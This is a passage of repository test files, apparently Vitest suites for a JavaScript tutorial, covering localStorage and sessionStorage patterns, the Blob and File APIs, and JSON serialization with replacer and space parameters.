{\n        const progress = JSON.parse(sessionStorage.getItem(\"formProgress\") || \"{}\")\n        progress[step] = data\n        progress.currentStep = step\n        sessionStorage.setItem(\"formProgress\", JSON.stringify(progress))\n      }\n\n      function loadFormProgress() {\n        return JSON.parse(sessionStorage.getItem(\"formProgress\") || \"{}\")\n      }\n\n      function clearFormProgress() {\n        sessionStorage.removeItem(\"formProgress\")\n      }\n\n      it('should save and load form progress', () => {\n        saveFormProgress(1, { name: \"Alice\" })\n        saveFormProgress(2, { email: \"alice@example.com\" })\n        \n        const progress = loadFormProgress()\n        \n        expect(progress.currentStep).toBe(2)\n        expect(progress[1]).toEqual({ name: \"Alice\" })\n        expect(progress[2]).toEqual({ email: \"alice@example.com\" })\n      })\n\n      it('should clear form progress', () => {\n        saveFormProgress(1, { name: \"Test\" })\n        clearFormProgress()\n        \n        expect(loadFormProgress()).toEqual({})\n      })\n    })\n\n    describe('Recently Viewed Items', () => {\n      // Tests for MDX lines ~700-720\n      function addToRecentlyViewed(item, maxItems = 10) {\n        const recent = JSON.parse(localStorage.getItem(\"recentlyViewed\") || \"[]\")\n        const filtered = recent.filter((i) => i.id !== item.id)\n        filtered.unshift(item)\n        const trimmed = filtered.slice(0, maxItems)\n        localStorage.setItem(\"recentlyViewed\", JSON.stringify(trimmed))\n      }\n\n      function getRecentlyViewed() {\n        return JSON.parse(localStorage.getItem(\"recentlyViewed\") || \"[]\")\n      }\n\n      it('should add items to recently viewed', () => {\n        addToRecentlyViewed({ id: 1, name: \"Item 1\" })\n        addToRecentlyViewed({ id: 2, name: \"Item 2\" })\n        \n        const recent = getRecentlyViewed()\n        \n        expect(recent.length).toBe(2)\n        expect(recent[0].id).toBe(2)  // Most recent first\n        expect(recent[1].id).toBe(1)\n      })\n\n      it('should move duplicate items to front', () => {\n        addToRecentlyViewed({ id: 1, name: \"Item 1\" })\n        addToRecentlyViewed({ id: 2, name: \"Item 2\" })\n        addToRecentlyViewed({ id: 1, name: \"Item 1 Updated\" })\n        \n        const recent = getRecentlyViewed()\n        \n        expect(recent.length).toBe(2)\n        expect(recent[0].id).toBe(1)\n        expect(recent[0].name).toBe(\"Item 1 Updated\")\n      })\n\n      it('should limit to maxItems', () => {\n        for (let i = 1; i <= 15; i++) {\n          addToRecentlyViewed({ id: i, name: `Item ${i}` }, 10)\n        }\n        \n        const recent = getRecentlyViewed()\n        \n        expect(recent.length).toBe(10)\n        expect(recent[0].id).toBe(15)  // Most recent\n        expect(recent[9].id).toBe(6)   // Oldest kept\n      })\n\n      it('should return empty array when nothing stored', () => {\n        localStorage.clear()\n        expect(getRecentlyViewed()).toEqual([])\n      })\n    })\n  })\n\n  describe('Common Mistakes', () => {\n    describe('Null handling from getItem', () => {\n      // Tests for MDX lines ~735-745\n      it('should demonstrate the null handling issue', () => {\n        // Dangerous pattern\n        const settings = JSON.parse(localStorage.getItem(\"settings\"))\n        \n        expect(settings).toBeNull()\n        expect(() => settings.theme).toThrow(TypeError)\n      })\n\n      it('should safely handle missing values with default', () => {\n        const settings = JSON.parse(localStorage.getItem(\"settings\")) || {}\n        const theme = settings.theme || \"light\"\n        \n        expect(theme).toBe(\"light\")\n      })\n    })\n\n    describe('Default value pattern', () => {\n      it('should provide default for getItem with OR operator', () => {\n        const theme = localStorage.getItem(\"theme\") || \"light\"\n        \n        expect(theme).toBe(\"light\")\n      })\n\n      it('should not use default when value exists', () => {\n        localStorage.setItem(\"theme\", \"dark\")\n        const theme = localStorage.getItem(\"theme\") || \"light\"\n        \n        expect(theme).toBe(\"dark\")\n      })\n    })\n  })\n\n  describe('Edge Cases', () => {\n    it('should handle empty string keys', () => {\n      localStorage.setItem(\"\", \"empty key\")\n      \n      expect(localStorage.getItem(\"\")).toBe(\"empty key\")\n    })\n\n    it('should handle empty string values', () => {\n      localStorage.setItem(\"key\", \"\")\n      \n      expect(localStorage.getItem(\"key\")).toBe(\"\")\n      expect(localStorage.getItem(\"key\")).not.toBeNull()\n    })\n\n    it('should handle special characters in keys', () => {\n      localStorage.setItem(\"key with spaces\", \"value\")\n      localStorage.setItem(\"key.with.dots\", \"value\")\n      localStorage.setItem(\"key-with-dashes\", \"value\")\n      \n      expect(localStorage.getItem(\"key with spaces\")).toBe(\"value\")\n      expect(localStorage.getItem(\"key.with.dots\")).toBe(\"value\")\n      expect(localStorage.getItem(\"key-with-dashes\")).toBe(\"value\")\n    })\n\n    it('should handle unicode in keys and values', () => {\n      localStorage.setItem(\"emoji\", \"Hello\")\n      localStorage.setItem(\"greeting\", \"Hello World\")\n      \n      expect(localStorage.getItem(\"emoji\")).toBe(\"Hello\")\n      expect(localStorage.getItem(\"greeting\")).toBe(\"Hello World\")\n    })\n\n    it('should handle very long strings', () => {\n      const longString = \"x\".repeat(1000000)  // 1MB string\n      localStorage.setItem(\"long\", longString)\n      \n      expect(localStorage.getItem(\"long\")).toBe(longString)\n      expect(localStorage.getItem(\"long\").length).toBe(1000000)\n    })\n\n    it('should distinguish between null stored as string and actual null', () => {\n      localStorage.setItem(\"nullString\", \"null\")\n      \n      expect(localStorage.getItem(\"nullString\")).toBe(\"null\")\n      expect(localStorage.getItem(\"nonexistent\")).toBeNull()\n    })\n\n    it('should handle removing non-existent keys without error', () => {\n      expect(() => {\n        localStorage.removeItem(\"does-not-exist\")\n      }).not.toThrow()\n    })\n\n    it('should handle clearing already empty storage', () => {\n      localStorage.clear()\n      \n      expect(() => {\n        localStorage.clear()\n      }).not.toThrow()\n      \n      expect(localStorage.length).toBe(0)\n    })\n  })\n\n  describe('Iteration Patterns', () => {\n    it('should iterate using for loop with key()', () => {\n      localStorage.setItem(\"a\", \"1\")\n      localStorage.setItem(\"b\", \"2\")\n      localStorage.setItem(\"c\", \"3\")\n      \n      const items = {}\n      for (let i = 0; i < localStorage.length; i++) {\n        const key = localStorage.key(i)\n        items[key] = localStorage.getItem(key)\n      }\n      \n      expect(items).toEqual({ a: \"1\", b: \"2\", c: \"3\" })\n    })\n\n    it('should iterate using Object.keys', () => {\n      localStorage.setItem(\"x\", \"10\")\n      localStorage.setItem(\"y\", \"20\")\n      \n      const keys = Object.keys(localStorage)\n      \n      expect(keys).toContain(\"x\")\n      expect(keys).toContain(\"y\")\n    })\n  })\n\n  describe('Test Your Knowledge Examples', () => {\n    describe('Question 2: JSON.stringify necessity', () => {\n      it('should demonstrate data loss without stringify', () => {\n        localStorage.setItem(\"user\", { name: \"Alice\" })\n        \n        expect(localStorage.getItem(\"user\")).toBe(\"[object Object]\")\n      })\n\n      it('should preserve data with stringify', () => {\n        localStorage.setItem(\"user\", JSON.stringify({ name: \"Alice\" }))\n        \n        const stored = localStorage.getItem(\"user\")\n        expect(stored).toBe('{\"name\":\"Alice\"}')\n        \n        const parsed = JSON.parse(stored)\n        expect(parsed.name).toBe(\"Alice\")\n      })\n    })\n\n    describe('Question 6: Feature detection', () => {\n      it('should detect localStorage availability', () => {\n        function storageAvailable(type) {\n          try {\n            const storage = window[type]\n            const testKey = \"__test__\"\n            storage.setItem(testKey, testKey)\n            storage.removeItem(testKey)\n            return true\n          } catch (e) {\n            return false\n          }\n        }\n        \n        // In jsdom, localStorage is available\n        expect(storageAvailable(\"localStorage\")).toBe(true)\n      })\n    })\n  })\n})\n\ndescribe('SafeSetItem with QuotaExceededError handling', () => {\n  // Tests for MDX lines ~490-515\n  function safeSetItem(key, value) {\n    try {\n      localStorage.setItem(key, value)\n      return true\n    } catch (error) {\n      if (error.name === \"QuotaExceededError\") {\n        return false\n      }\n      throw error\n    }\n  }\n\n  beforeEach(() => {\n    localStorage.clear()\n  })\n\n  it('should return true on successful storage', () => {\n    const result = safeSetItem(\"test\", \"value\")\n    \n    expect(result).toBe(true)\n    expect(localStorage.getItem(\"test\")).toBe(\"value\")\n  })\n\n  // Note: It's difficult to test QuotaExceededError in jsdom\n  // as it typically doesn't enforce storage limits\n  it('should handle normal operations', () => {\n    safeSetItem(\"a\", \"1\")\n    safeSetItem(\"b\", \"2\")\n    \n    expect(localStorage.getItem(\"a\")).toBe(\"1\")\n    expect(localStorage.getItem(\"b\")).toBe(\"2\")\n  })\n})\n"
  },
  {
    "path": "tests/beyond/data-handling/blob-file-api/blob-file-api.dom.test.js",
    "content": "/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('Blob & File API - DOM', () => {\n  let container\n\n  beforeEach(() => {\n    container = document.createElement('div')\n    container.id = 'test-container'\n    document.body.appendChild(container)\n  })\n\n  afterEach(() => {\n    document.body.innerHTML = ''\n    vi.restoreAllMocks()\n    \n    if (global.URL.revokeObjectURL.mockRestore) {\n      global.URL.revokeObjectURL.mockRestore()\n    }\n  })\n\n  describe('URL.createObjectURL and revokeObjectURL', () => {\n    it('should create object URL from Blob', () => {\n      const blob = new Blob(['Hello'], { type: 'text/plain' })\n      const url = URL.createObjectURL(blob)\n      \n      expect(url).toMatch(/^blob:/)\n      \n      URL.revokeObjectURL(url)\n    })\n\n    it('should create object URL from File', () => {\n      const file = new File(['content'], 'test.txt', { type: 'text/plain' })\n      const url = URL.createObjectURL(file)\n      \n      expect(url).toMatch(/^blob:/)\n      \n      URL.revokeObjectURL(url)\n    })\n  })\n\n  describe('Download functionality pattern', () => {\n    it('should create downloadable link with Blob', () => {\n      const blob = new Blob(['Hello, World!'], { type: 'text/plain' })\n      const url = URL.createObjectURL(blob)\n      \n      const link = document.createElement('a')\n      link.href = url\n      link.download = 'greeting.txt'\n      \n      expect(link.href).toMatch(/^blob:/)\n      expect(link.download).toBe('greeting.txt')\n      \n      URL.revokeObjectURL(url)\n    })\n\n    it('should support download attribute on anchor', () => {\n      const link = document.createElement('a')\n      link.download = 'test-file.json'\n      \n      expect(link.download).toBe('test-file.json')\n    })\n  })\n\n  describe('File Input handling', () => {\n    it('should create file input element', () => {\n      const input = document.createElement('input')\n      input.type = 'file'\n      container.appendChild(input)\n      \n      expect(input.type).toBe('file')\n      expect(input.files.length).toBe(0)\n    })\n\n    it('should support multiple file selection attribute', () => {\n      const input = document.createElement('input')\n      input.type = 'file'\n      input.multiple = true\n      \n      expect(input.multiple).toBe(true)\n    })\n\n    it('should support accept attribute for file types', () => {\n      const input = document.createElement('input')\n      input.type = 'file'\n      input.accept = 'image/*,.pdf'\n      \n      expect(input.accept).toBe('image/*,.pdf')\n    })\n  })\n\n  describe('FileReader in DOM context', () => {\n    it('should read Blob as text using FileReader', async () => {\n      const blob = new Blob(['Hello, World!'], { type: 'text/plain' })\n      \n      const result = await new Promise((resolve, reject) => {\n        const reader = new FileReader()\n        reader.onload = () => resolve(reader.result)\n        reader.onerror = () => reject(reader.error)\n        reader.readAsText(blob)\n      })\n      \n      expect(result).toBe('Hello, World!')\n    })\n\n    it('should read File as data URL', async () => {\n      const file = new File(['test content'], 'test.txt', { type: 'text/plain' })\n      \n      const result = await new Promise((resolve, reject) => {\n        const reader = new FileReader()\n        reader.onload = () => resolve(reader.result)\n        reader.onerror = () => reject(reader.error)\n        reader.readAsDataURL(file)\n      })\n      \n      expect(result).toMatch(/^data:text\\/plain;base64,/)\n    })\n\n    it('should read Blob as ArrayBuffer', async () => {\n      const blob = new Blob([new Uint8Array([1, 2, 3, 4])])\n      \n      const result = await new Promise((resolve, reject) => {\n        const reader = new FileReader()\n        reader.onload = () => resolve(reader.result)\n        reader.onerror = () => reject(reader.error)\n        reader.readAsArrayBuffer(blob)\n      })\n      \n      expect(result).toBeInstanceOf(ArrayBuffer)\n      expect(result.byteLength).toBe(4)\n    })\n\n    it('should have correct readyState values', async () => {\n      const blob = new Blob(['test'])\n      const reader = new FileReader()\n      \n      expect(reader.readyState).toBe(0)\n      \n      const promise = new Promise((resolve) => {\n        reader.onloadstart = () => {\n          expect(reader.readyState).toBe(1)\n        }\n        reader.onload = () => {\n          expect(reader.readyState).toBe(2)\n          resolve()\n        }\n      })\n      \n      reader.readAsText(blob)\n      await promise\n    })\n  })\n\n  describe('Drag and drop events', () => {\n    it('should fire dragover event on element', () => {\n      const dropZone = document.createElement('div')\n      container.appendChild(dropZone)\n      \n      let dragOverFired = false\n      dropZone.addEventListener('dragover', () => {\n        dragOverFired = true\n      })\n      \n      const event = new Event('dragover', { bubbles: true })\n      dropZone.dispatchEvent(event)\n      \n      expect(dragOverFired).toBe(true)\n    })\n\n    it('should fire drop event on element', () => {\n      const dropZone = document.createElement('div')\n      container.appendChild(dropZone)\n      \n      let dropFired = false\n      dropZone.addEventListener('drop', () => {\n        dropFired = true\n      })\n      \n      const event = new Event('drop', { bubbles: true })\n      dropZone.dispatchEvent(event)\n      \n      expect(dropFired).toBe(true)\n    })\n  })\n\n  describe('FormData with files', () => {\n    it('should append File to FormData', () => {\n      const formData = new FormData()\n      const file = new File(['content'], 'upload.txt', { type: 'text/plain' })\n      \n      formData.append('file', file)\n      \n      expect(formData.has('file')).toBe(true)\n      expect(formData.get('file')).toBe(file)\n    })\n\n    it('should append Blob to FormData with filename', () => {\n      const formData = new FormData()\n      const blob = new Blob(['content'], { type: 'text/plain' })\n      \n      formData.append('file', blob, 'custom-name.txt')\n      \n      const retrieved = formData.get('file')\n      expect(retrieved.name).toBe('custom-name.txt')\n    })\n\n    it('should append multiple files with same key', () => {\n      const formData = new FormData()\n      \n      formData.append('files', new File(['a'], 'file1.txt'))\n      formData.append('files', new File(['b'], 'file2.txt'))\n      \n      const files = formData.getAll('files')\n      expect(files.length).toBe(2)\n    })\n  })\n\n  describe('Image preview pattern', () => {\n    it('should set image src from blob URL', () => {\n      const blob = new Blob(['fake image data'], { type: 'image/png' })\n      const url = URL.createObjectURL(blob)\n      \n      const img = document.createElement('img')\n      img.src = url\n      container.appendChild(img)\n      \n      expect(img.src).toBe(url)\n      \n      URL.revokeObjectURL(url)\n    })\n  })\n\n  describe('Memory management', () => {\n    it('should call revokeObjectURL without error', () => {\n      const blob = new Blob(['test'])\n      const url = URL.createObjectURL(blob)\n      \n      expect(() => URL.revokeObjectURL(url)).not.toThrow()\n    })\n\n    it('should handle revoking non-existent URL', () => {\n      expect(() => URL.revokeObjectURL('blob:fake-url')).not.toThrow()\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/data-handling/blob-file-api/blob-file-api.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('Blob & File API', () => {\n  // ============================================================\n  // WHAT IS A BLOB IN JAVASCRIPT?\n  // From blob-file-api.mdx lines 32-42\n  // ============================================================\n\n  describe('What is a Blob', () => {\n    // From lines 32-40: Creating Blobs from different data types\n    it('should create a Blob from a string', () => {\n      const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })\n      \n      expect(textBlob.size).toBe(13)\n      expect(textBlob.type).toBe('text/plain')\n    })\n\n    it('should create Blobs with different MIME types', () => {\n      const jsonBlob = new Blob([JSON.stringify({ name: 'Alice' })], { type: 'application/json' })\n      const htmlBlob = new Blob(['<h1>Title</h1>'], { type: 'text/html' })\n      \n      expect(jsonBlob.type).toBe('application/json')\n      expect(htmlBlob.type).toBe('text/html')\n    })\n  })\n\n  // ============================================================\n  // CREATING BLOBS\n  // From blob-file-api.mdx lines 72-110\n  // ============================================================\n\n  describe('Creating Blobs', () => {\n    describe('Basic Blob Creation', () => {\n      // From lines 77-96: Basic Blob creation examples\n      it('should create Blob from a single string', () => {\n        const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })\n        \n        expect(textBlob.size).toBe(13)\n        expect(textBlob.type).toBe('text/plain')\n      })\n\n      it('should concatenate multiple strings in Blob', async () => {\n        const multiBlob = new Blob(['Hello, ', 'World!'], { type: 'text/plain' })\n        \n        expect(multiBlob.size).toBe(13)\n        const text = await multiBlob.text()\n        expect(text).toBe('Hello, World!')\n      })\n\n      it('should create Blob from JSON data', async () => {\n        const user = { name: 'Alice', age: 30 }\n        const jsonBlob = new Blob(\n          [JSON.stringify(user, null, 2)], \n          { type: 'application/json' }\n        )\n        \n        expect(jsonBlob.type).toBe('application/json')\n        const text = await jsonBlob.text()\n        expect(JSON.parse(text)).toEqual(user)\n      })\n\n      it('should create Blob from HTML', async () => {\n        const htmlBlob = new Blob(\n          ['<!DOCTYPE html><html><body><h1>Hello</h1></body></html>'],\n          { type: 'text/html' }\n        )\n        \n        expect(htmlBlob.type).toBe('text/html')\n        const text = await htmlBlob.text()\n        expect(text).toContain('<h1>Hello</h1>')\n      })\n    })\n\n    describe('From Typed Arrays and ArrayBuffers', () => {\n      // From lines 100-120: Binary data Blob creation\n      it('should create Blob from Uint8Array', async () => {\n        const bytes = new Uint8Array([72, 101, 108, 108, 111])  // \"Hello\" in ASCII\n        const binaryBlob = new Blob([bytes], { type: 'application/octet-stream' })\n        \n        expect(binaryBlob.size).toBe(5)\n        const text = await binaryBlob.text()\n        expect(text).toBe('Hello')\n      })\n\n      it('should create Blob from ArrayBuffer', () => {\n        const buffer = new ArrayBuffer(8)\n        const view = new DataView(buffer)\n        view.setFloat64(0, Math.PI)\n        const bufferBlob = new Blob([buffer])\n        \n        expect(bufferBlob.size).toBe(8)\n      })\n\n      it('should combine different data types in a Blob', async () => {\n        const bytes = new Uint8Array([72, 101, 108, 108, 111])  // \"Hello\"\n        const mixedBlob = new Blob([\n          'Header: ',\n          bytes,\n          '\\nFooter'\n        ], { type: 'text/plain' })\n        \n        const text = await mixedBlob.text()\n        expect(text).toBe('Header: Hello\\nFooter')\n      })\n    })\n\n    describe('Blob Properties', () => {\n      // From lines 122-132: Blob properties\n      it('should have size and type properties', () => {\n        const blob = new Blob(['Hello, World!'], { type: 'text/plain' })\n        \n        expect(blob.size).toBe(13)\n        expect(blob.type).toBe('text/plain')\n      })\n\n      it('should have empty type if not specified', () => {\n        const blob = new Blob(['data'])\n        \n        expect(blob.type).toBe('')\n      })\n    })\n  })\n\n  // ============================================================\n  // THE FILE INTERFACE\n  // From blob-file-api.mdx lines 135-200\n  // ============================================================\n\n  describe('The File Interface', () => {\n    // From lines 175-190: Creating File objects programmatically\n    it('should create File from content array', () => {\n      const file = new File(\n        ['Hello, World!'],\n        'greeting.txt',\n        { \n          type: 'text/plain',\n          lastModified: Date.now()\n        }\n      )\n      \n      expect(file.name).toBe('greeting.txt')\n      expect(file.size).toBe(13)\n      expect(file.type).toBe('text/plain')\n    })\n\n    it('should have File inherit from Blob', () => {\n      const file = new File(['content'], 'test.txt', { type: 'text/plain' })\n      \n      expect(file instanceof Blob).toBe(true)\n    })\n\n    it('should have lastModified property', () => {\n      const now = Date.now()\n      const file = new File(['content'], 'test.txt', { lastModified: now })\n      \n      expect(file.lastModified).toBe(now)\n    })\n\n    it('should allow reading File as text (inherited from Blob)', async () => {\n      const file = new File(['Hello from File'], 'test.txt', { type: 'text/plain' })\n      \n      const text = await file.text()\n      expect(text).toBe('Hello from File')\n    })\n  })\n\n  // ============================================================\n  // MODERN BLOB METHODS\n  // From blob-file-api.mdx lines 290-315\n  // ============================================================\n\n  describe('Modern Blob Methods', () => {\n    // From lines 294-302: Promise-based methods\n    it('should read as text with blob.text()', async () => {\n      const blob = new Blob(['Hello, World!'], { type: 'text/plain' })\n      \n      const text = await blob.text()\n      expect(text).toBe('Hello, World!')\n    })\n\n    it('should read as ArrayBuffer with blob.arrayBuffer()', async () => {\n      const blob = new Blob(['Hello'], { type: 'text/plain' })\n      \n      const buffer = await blob.arrayBuffer()\n      const bytes = new Uint8Array(buffer)\n      \n      expect(bytes[0]).toBe(72)  // 'H'\n      expect(bytes[1]).toBe(101) // 'e'\n      expect(bytes[2]).toBe(108) // 'l'\n      expect(bytes[3]).toBe(108) // 'l'\n      expect(bytes[4]).toBe(111) // 'o'\n    })\n\n    it('should provide readable stream with blob.stream()', async () => {\n      const blob = new Blob(['Hello'], { type: 'text/plain' })\n      \n      const stream = blob.stream()\n      const reader = stream.getReader()\n      \n      const { done, value } = await reader.read()\n      \n      expect(done).toBe(false)\n      expect(value).toBeInstanceOf(Uint8Array)\n      expect(value[0]).toBe(72)  // 'H'\n    })\n  })\n\n  // ============================================================\n  // SLICING BLOBS\n  // From blob-file-api.mdx lines 430-465\n  // ============================================================\n\n  describe('Slicing Blobs', () => {\n    // From lines 432-448: slice() method examples\n    it('should slice first five bytes', async () => {\n      const blob = new Blob(['Hello, World!'], { type: 'text/plain' })\n      \n      const firstFive = blob.slice(0, 5)\n      const text = await firstFive.text()\n      \n      expect(text).toBe('Hello')\n    })\n\n    it('should slice using negative index', async () => {\n      const blob = new Blob(['Hello, World!'], { type: 'text/plain' })\n      \n      const lastSix = blob.slice(-6)\n      const text = await lastSix.text()\n      \n      expect(text).toBe('World!')\n    })\n\n    it('should slice middle portion', async () => {\n      const blob = new Blob(['Hello, World!'], { type: 'text/plain' })\n      \n      const middle = blob.slice(7, 12)\n      const text = await middle.text()\n      \n      expect(text).toBe('World')\n    })\n\n    it('should allow changing MIME type when slicing', () => {\n      const blob = new Blob(['Hello'], { type: 'text/plain' })\n      \n      const withNewType = blob.slice(0, 5, 'text/html')\n      \n      expect(withNewType.type).toBe('text/html')\n    })\n\n    it('should not modify original blob when slicing', async () => {\n      const original = new Blob(['Hello, World!'], { type: 'text/plain' })\n      const originalSize = original.size\n      \n      original.slice(0, 5)\n      \n      expect(original.size).toBe(originalSize)\n      expect(await original.text()).toBe('Hello, World!')\n    })\n  })\n\n  // ============================================================\n  // CONVERTING BETWEEN FORMATS\n  // From blob-file-api.mdx lines 520-570\n  // ============================================================\n\n  describe('Converting Between Formats', () => {\n    describe('Blob to ArrayBuffer and Back', () => {\n      // From lines 560-565: Blob to ArrayBuffer conversion\n      it('should convert Blob to ArrayBuffer', async () => {\n        const blob = new Blob(['Hello'])\n        const buffer = await blob.arrayBuffer()\n        \n        expect(buffer).toBeInstanceOf(ArrayBuffer)\n        expect(buffer.byteLength).toBe(5)\n      })\n\n      it('should convert ArrayBuffer back to Blob', async () => {\n        const original = new Blob(['Hello'])\n        const buffer = await original.arrayBuffer()\n        \n        const newBlob = new Blob([buffer])\n        \n        expect(newBlob.size).toBe(5)\n        expect(await newBlob.text()).toBe('Hello')\n      })\n    })\n  })\n\n  // ============================================================\n  // ERROR HANDLING AND EDGE CASES\n  // From blob-file-api.mdx (Common Mistakes section)\n  // ============================================================\n\n  describe('Edge Cases', () => {\n    it('should handle empty Blob', async () => {\n      const emptyBlob = new Blob([])\n      \n      expect(emptyBlob.size).toBe(0)\n      expect(await emptyBlob.text()).toBe('')\n    })\n\n    it('should handle Blob with empty string', async () => {\n      const blob = new Blob([''])\n      \n      expect(blob.size).toBe(0)\n      expect(await blob.text()).toBe('')\n    })\n\n    it('should handle Blob with whitespace', async () => {\n      const blob = new Blob(['   '])\n      \n      expect(blob.size).toBe(3)\n      expect(await blob.text()).toBe('   ')\n    })\n\n    it('should handle multiple empty parts', async () => {\n      const blob = new Blob(['', '', ''])\n      \n      expect(blob.size).toBe(0)\n      expect(await blob.text()).toBe('')\n    })\n\n    it('should handle Unicode content', async () => {\n      const blob = new Blob(['Hello, World! 🌍'], { type: 'text/plain' })\n      \n      const text = await blob.text()\n      expect(text).toBe('Hello, World! 🌍')\n    })\n\n    it('should handle Chinese characters', async () => {\n      const blob = new Blob(['你好世界'], { type: 'text/plain' })\n      \n      const text = await blob.text()\n      expect(text).toBe('你好世界')\n    })\n  })\n\n  // ============================================================\n  // COMBINING BLOBS\n  // ============================================================\n\n  describe('Combining Blobs', () => {\n    it('should combine multiple Blobs into one', async () => {\n      const blob1 = new Blob(['Hello, '])\n      const blob2 = new Blob(['World!'])\n      \n      const combined = new Blob([blob1, blob2])\n      \n      expect(await combined.text()).toBe('Hello, World!')\n    })\n\n    it('should combine Blob with string', async () => {\n      const blob = new Blob(['Hello'])\n      \n      const combined = new Blob([blob, ', ', 'World!'])\n      \n      expect(await combined.text()).toBe('Hello, World!')\n    })\n\n    it('should combine Blob with Uint8Array', async () => {\n      const blob = new Blob(['Hello'])\n      const bytes = new Uint8Array([33])  // '!'\n      \n      const combined = new Blob([blob, bytes])\n      \n      expect(await combined.text()).toBe('Hello!')\n    })\n  })\n\n  // ============================================================\n  // FILE SPECIFIC TESTS\n  // ============================================================\n\n  describe('File-specific behavior', () => {\n    it('should have default lastModified if not specified', () => {\n      const before = Date.now()\n      const file = new File(['content'], 'test.txt')\n      const after = Date.now()\n      \n      expect(file.lastModified).toBeGreaterThanOrEqual(before)\n      expect(file.lastModified).toBeLessThanOrEqual(after)\n    })\n\n    it('should preserve filename with special characters', () => {\n      const file = new File(['content'], 'my file (1).txt')\n      \n      expect(file.name).toBe('my file (1).txt')\n    })\n\n    it('should handle filename with extension correctly', () => {\n      const file = new File(['content'], 'document.pdf', { type: 'application/pdf' })\n      \n      expect(file.name).toBe('document.pdf')\n      expect(file.type).toBe('application/pdf')\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/data-handling/json-deep-dive/json-deep-dive.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('JSON Deep Dive', () => {\n  // ============================================================\n  // BASIC SERIALIZATION\n  // From json-deep-dive.mdx lines 30-45\n  // ============================================================\n\n  describe('Basic JSON Operations', () => {\n    // From lines 30-40: Parse and stringify basics\n    it('should parse JSON string to JavaScript object', () => {\n      const jsonString = '{\"name\":\"Alice\",\"age\":30,\"isAdmin\":true}'\n      const user = JSON.parse(jsonString)\n\n      expect(user.name).toBe('Alice')\n      expect(user.age).toBe(30)\n      expect(user.isAdmin).toBe(true)\n    })\n\n    it('should stringify JavaScript object to JSON string', () => {\n      const user = { name: 'Alice', age: 30, isAdmin: true }\n      const json = JSON.stringify(user)\n\n      expect(json).toBe('{\"name\":\"Alice\",\"age\":30,\"isAdmin\":true}')\n    })\n\n    // From lines 100-110: Basic stringify examples\n    it('should stringify various value types', () => {\n      expect(JSON.stringify({ a: 1, b: 2 })).toBe('{\"a\":1,\"b\":2}')\n      expect(JSON.stringify([1, 2, 3])).toBe('[1,2,3]')\n      expect(JSON.stringify('hello')).toBe('\"hello\"')\n      expect(JSON.stringify(42)).toBe('42')\n      expect(JSON.stringify(true)).toBe('true')\n      expect(JSON.stringify(null)).toBe('null')\n    })\n  })\n\n  // ============================================================\n  // WHAT GETS LOST IN SERIALIZATION\n  // From json-deep-dive.mdx lines 115-140\n  // ============================================================\n\n  describe('Values Lost During Serialization', () => {\n    // From lines 115-130: Values that don't survive stringify\n    it('should omit functions, undefined, and symbols from objects', () => {\n      const obj = {\n        name: 'Alice',\n        greet: function () {\n          return 'Hi!'\n        },\n        age: undefined,\n        id: Symbol('id'),\n        nothing: null\n      }\n\n      const result = JSON.parse(JSON.stringify(obj))\n\n      expect(result.name).toBe('Alice')\n      expect(result.greet).toBeUndefined()\n      expect(result.age).toBeUndefined()\n      expect(result.id).toBeUndefined()\n      expect(result.nothing).toBeNull()\n    })\n\n    it('should convert NaN and Infinity to null', () => {\n      const obj = {\n        nan: NaN,\n        infinity: Infinity,\n        negInfinity: -Infinity\n      }\n\n      const result = JSON.parse(JSON.stringify(obj))\n\n      expect(result.nan).toBeNull()\n      expect(result.infinity).toBeNull()\n      expect(result.negInfinity).toBeNull()\n    })\n\n    // From lines 135-140: Arrays handle these differently\n    it('should convert undefined, functions, and symbols to null in arrays', () => {\n      const arr = [1, undefined, function () {}, Symbol('x'), 2]\n      const result = JSON.parse(JSON.stringify(arr))\n\n      expect(result).toEqual([1, null, null, null, 2])\n    })\n  })\n\n  // ============================================================\n  // REPLACER PARAMETER\n  // From json-deep-dive.mdx lines 150-220\n  // ============================================================\n\n  describe('Replacer Parameter', () => {\n    // From lines 155-175: Replacer as function\n    it('should filter out properties using replacer function', () => {\n      const data = {\n        name: 'Alice',\n        password: 'secret123',\n        email: 'alice@example.com',\n        age: 30\n      }\n\n      const safeJSON = JSON.stringify(data, (key, value) => {\n        if (key === 'password') return undefined\n        if (key === 'email') return '***hidden***'\n        return value\n      })\n\n      const result = JSON.parse(safeJSON)\n\n      expect(result.name).toBe('Alice')\n      expect(result.password).toBeUndefined()\n      expect(result.email).toBe('***hidden***')\n      expect(result.age).toBe(30)\n    })\n\n    // From lines 180-195: Initial call with empty key\n    it('should call replacer with empty key for root object', () => {\n      const calls = []\n\n      JSON.stringify({ a: 1 }, (key, value) => {\n        calls.push({ key, isObject: typeof value === 'object' })\n        return value\n      })\n\n      expect(calls[0]).toEqual({ key: '', isObject: true })\n      expect(calls[1]).toEqual({ key: 'a', isObject: false })\n    })\n\n    // From lines 200-210: Replacer as array\n    it('should include only specified properties when replacer is array', () => {\n      const user = {\n        id: 1,\n        name: 'Alice',\n        email: 'alice@example.com',\n        password: 'secret',\n        role: 'admin',\n        createdAt: '2024-01-01'\n      }\n\n      const json = JSON.stringify(user, ['id', 'name', 'email'])\n\n      expect(json).toBe('{\"id\":1,\"name\":\"Alice\",\"email\":\"alice@example.com\"}')\n    })\n  })\n\n  // ============================================================\n  // SPACE PARAMETER\n  // From json-deep-dive.mdx lines 225-265\n  // ============================================================\n\n  describe('Space Parameter', () => {\n    // From lines 230-250: Different space options\n    it('should format JSON with numeric space parameter', () => {\n      const data = { name: 'Alice', age: 30 }\n\n      const formatted = JSON.stringify(data, null, 2)\n\n      expect(formatted).toBe('{\\n  \"name\": \"Alice\",\\n  \"age\": 30\\n}')\n    })\n\n    it('should format JSON with string space parameter', () => {\n      const data = { a: 1, b: 2 }\n\n      const formatted = JSON.stringify(data, null, '\\t')\n\n      expect(formatted).toContain('\\t\"a\"')\n      expect(formatted).toContain('\\t\"b\"')\n    })\n\n    it('should clamp space number to 10', () => {\n      const data = { x: 1 }\n\n      const with15 = JSON.stringify(data, null, 15)\n      const with10 = JSON.stringify(data, null, 10)\n\n      // Both should have same indentation (clamped to 10)\n      expect(with15).toBe(with10)\n    })\n  